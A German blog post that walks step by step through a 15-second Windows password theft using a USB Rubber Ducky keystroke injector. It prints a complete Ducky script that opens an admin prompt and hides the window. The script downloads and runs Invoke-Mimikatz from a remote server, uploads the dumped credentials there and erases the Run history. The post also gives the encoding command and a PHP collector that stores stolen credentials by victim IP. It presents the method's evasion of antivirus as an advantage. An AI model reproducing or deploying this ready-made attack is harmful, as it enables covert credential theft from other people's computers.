Der 15 Sekunden Passwort-Hack

Der USB Rubber Ducky ist seit längerer Zeit auf dem Markt und kann im Online Shop bestellt werden. Das Team um Darren Kitchen hat mittlerweile  viele Anwendungsmöglichkeiten  erschlossen und die dazugehörigen  Skripte ins Netz gestellt. Aktuell wird eine Methode beschrieben, die Passwörter aus Windows-PC ausliest und an einen Webserver übermittelt. Das Team ist stolz, dass die „Gummiente“  in der US-Serie „Mr. Robot“  Einzug gehalten hat. Aus diesem Grund wurde ein Blogeintrag erstellt, der Schritt für Schritt einen möglichen Angriff auf Stand-Alone PC/Laptops aufzeigt. Der „Passwort-Hack“ soll innerhalb von 15 Sekunden abgeschlossen sein.

Dies ist Grund genug ein wenig tiefer in die Materie einzusteigen. Hier wird Schritt für Schritte erläutert, wie das Skript funktioniert und welche Einschränkungen es gibt.

Die Grundlagen

Beim  USB Rubber Ducky handelt es sich nicht um einen herkömmlichen USB-Stick, sondern vornehmlich um einen Tastatur-Emulator.  Die dazugehörigen Skripte lassen sich auf einer zugehörigen Speicherkarte abspeichern. Mitgeliefert wird  eine selbsterklärende Skriptsprache, die einfach zu erlernen ist.

Steckt man den Rubber Ducky in ein verfügbare USB-Schnittstelle, so werden die als Skript gespeicherten Tastaturbefehle (einschließlich der festgelegten Pausen) ausgeführt.  Hierdurch lassen sich  Fenster öffnen, Texte eingeben bzw. Befehle abarbeiten.

Für diesen Angriff wird  Mimikatz benötigt. Dies mittlerweile auch als „Swiss army knife“ bezeichnete Tool  hilft bei der Erlangung von Windows-Zugangsdaten. Das  dazugehörige Powershell-Skript kann man hier herunterladen.

Nachdem der USB Rubber Ducky in den PC eingesteckt wurde, läuft der Angriff in zwei Schritten ab:

  1. Herunterladen des PowerShell-Skripts (Mimikatz) vom Webserver des Angreifers.
  2. Ausführen und Hochladen der erlangen Nutzerdaten auf den Webserver.

Angriff

Das Ducky-Skript

Im Wesentlichen sind alle Befehle im Artikel aufgelistet und dort erläutert. Im ersten Teil (Zeile 5-10)  wird ein Windows-Run Dialog  geöffnet, der einen PowerShell-Prozess als Administrator öffnet. Die diversen Delay-Befehle bauen bestimmte Pausen ein, die  dem Zielcomputer etwas mehr Zeit verschaffen, auf die Kommandos zu reagieren.

Die Kommandos in den Zeilen 13-15 sind für die Funktion eigentlich nicht wichtig. Hier werden nur die Größe des Terminal-Fensters bzw. die Farbe (Vorder- und Hintergrund) angepasst, um die wahren Absichten des Angreifers ein wenig zu verschleiern.  Hier kann man sicherlich noch mehr machen.

Die Zeile 18 bildet den eigentlichen Kern des Skripts. Hier wird zunächst das benötigte Powerschell-Skript (Mimikatz) von der angegebenen Webseite heruntergeladen und auf dem Zielsystem ausgeführt. Hierdurch lassen sich in relativ kurzer Zeit die Windows-Zugangsdaten ermitteln. Diese werden dann auf den Webserver übertragen und dort abgespeichert. Die angegebene Webseite und der Dateiname  (hier: http://darren.kitchen/im.ps1) sind  natürlich den eigenen Bedingungen anzupassen. Das gleiche gilt für das php-Skript in dieser Zeile. Hier ist der weiter unter aufgelistete Dateiinhalt einzufügen.

Wer nach dem Angriff seine Spuren in der Windows-Registry löschen möchte, der kann die Befehle in den Zeilen 21-23 hinzufügen.

1:REM Title: Invoke mimikatz and send creds to remote server
2:REM Author: Hak5Darren Props: Mubix, Clymb3r, Gentilkiwi
3:DELAY 1000
4:REM Open an admin command prompt 
5:GUI r
6:DELAY 500
7:STRING powershell Start-Process cmd -Verb runAs
8:ENTER
9:DELAY 2000
10:ALT j
11:DELAY 1000
12:REM Obfuscate the command prompt
13:STRING mode con:cols=18 lines=1
14:ENTER
15:STRING color FE
16:ENTER
17:REM Download and execute Invoke Mimikatz then upload the results
18:STRING powershell "IEX (New-Object Net.WebClient).DownloadString('http://darren.kitchen/im.ps1'); $output = Invoke-Mimikatz -DumpCreds; (New-Object Net.WebClient).UploadString('http://darren.kitchen/rx.php', $output)"
19:ENTER
20:DELAY 15000
21:REM Clear the Run history and exit
22:STRING powershell "Remove-ItemProperty -Path 'HKCU:SoftwareMicrosoftWindowsCurrentVersionExplorerRunMRU' -Name '*' -ErrorAction SilentlyContinue"
23:ENTER
24:STRING exit
25:ENTER

Angriff vorbereiten

Das so gefertigte Skript wird zunächst als Textdatei gespeichert und dann auf dem Angriffssystem kodiert. Hierzu wird Java benötigt. Dies lässt sich auf einem Linux System (z.B. Kali Linux) mit folgenden Befehlen erledigen:

java -jar duckencode.jar -i invoke-mimikatz.txt -o inject.bin -l ge

Das dazugehörige Programm (duckencoder) kann man hier runterladen. Die Optionen -i und -o  benennen die Dateinamen für Ein- und Ausgabe. Zusätzlich wird mit  -l  die Sprache für die Tastaturbelegung festlegt.

Alternativ kann auch das gewünschte Skript  Online kodiert werden. Hier sollte zwingend auch die Sprachen des Zielsystems (rechts oben) eingestellt werden.

Das Ergebnis wird als Datei inject.bin auf die Speicherkarte des Rubber Ducky kopiert.

 

Webseite vorbereiten

Für diese Angriffsversion wird zwingend eine Webseite benötigt, auf der das Mimikatz-Skript zum Herunterladen bereitgestellt und die Ergebnisse mit den ermittelten Windows-Nutzerdaten hochgeladen werden. Hierzu  ist jede beliebige Webseite mit php-Unterstützung nutzbar.

Das nachfolgende Skript weist den eingehenden Windows-Nutzerdaten einen Dateinamen zu, der aus der IP-Adresse des Zielsystems und einem Zeitstempel besteht. Es ist auf dem Webserver zu platzieren. Im Ducky-Skript (Zeile 18) wurde die Datei als rx.php benannt.

<?php
$file = $_SERVER['REMOTE_ADDR'] . "_" . date("Y-m-d_H-i-s") . ".creds";
file_put_contents($file, file_get_contents("php://input"));
?>

Der Angriff

Steckt man nun den  Rubber Ducky in eine verfügbare USB-Schnittstelle eines Windows-Systems, so werden die Befehle auf der Speicherkarte abgearbeitet. Für den Anwender sind einige Aktivitäten auf dem Bildschirm sichtbar (siehe Video), die aber nicht unbedingt auf einen Angriff hinweisen.  Das Herunterladen des Powershell-Skripts und das Hochladen der Nutzerdaten ins Internet erfolgt im Hintergrund. Je nach Verfügbarkeit der Internet-Verbindung sollte der Angriff nicht länger als 15-30 Sekunden dauern.

Vorteile und Nachteile dieser Angriffsmethode

+  Das Ducky-Skript ist einmal zu erstellen und dann für jeden PC mit Internet-Anschluss nutzbar.
+  Angriff dauert nur 15-30 Sekunden und das Ergebnis liegt sofort auf einem entfernten Server vor.
+ Auf dem Zielsystem werden keine Spuren hinterlassen.
+ Virenschutz, IDS/IPS  können möglicherweise den Angriff nicht erkennen.

–  PC darf vom Nutzer nicht gesperrt sein
–  Funktioniert eigentlich nur auf Stand-Alone PC, auf dem der Nutzer sich administrative Rechte verschaffen kann.
–   Einschränkungen wenn die Verbindung ins Internet über einen Proxy-Server (insbesondere mit Authentisierung) hergestellt wird.

Bemerkungen

Dieser Blogeintrag stellt eine Möglichkeit da, wie man den Rubber Ducky auf einem System einsetzen kann, auf dem der Nutzer nicht zwingend über administrative Rechte verfügt. Auch hier stößt das System an seine Grenze, wenn das Opfer einen Proxy-Severs (insbesondere mit Authentisierung) für die Internet-Verbindung einsetzt.

Fazit

USB-Schnittstellen erlauben in der Regel den vollen Zugriff auf einen PC. In diesem Fall erweist sich die „Gummiente“ als Wolf im Schafspelz.  Es kann unter Umständen für den Nutzer ein Problem werden, wenn er den Raum verlässt ohne seinen PC zu sperren. Unternehmen führen in der Regel  ein  Schnittstellenmanagement ein, um sich vor solchen Angriffen zu schützen. Letztlich ist der Nutzer das schwächste Glied in der Kette. Hier hat es gezeigt, dass eine ständige Aus- und Weiterbildung einen Beitrag zur IT-Security Awareness leisten kann. Die „Gummiente“ kann einen Teil dazu beisteuern. Sie sollte deshalb im Toolkit eines Penetrationstesters nicht fehlen.

5 Gedanken zu “Der 15 Sekunden Passwort-Hack

  1. Wird der Rubber Ducky auch in Deutschland vertrieben, oder nur über die offizielle Website (mit relativ hohen Versandkosten)?

Schreibe einen Kommentar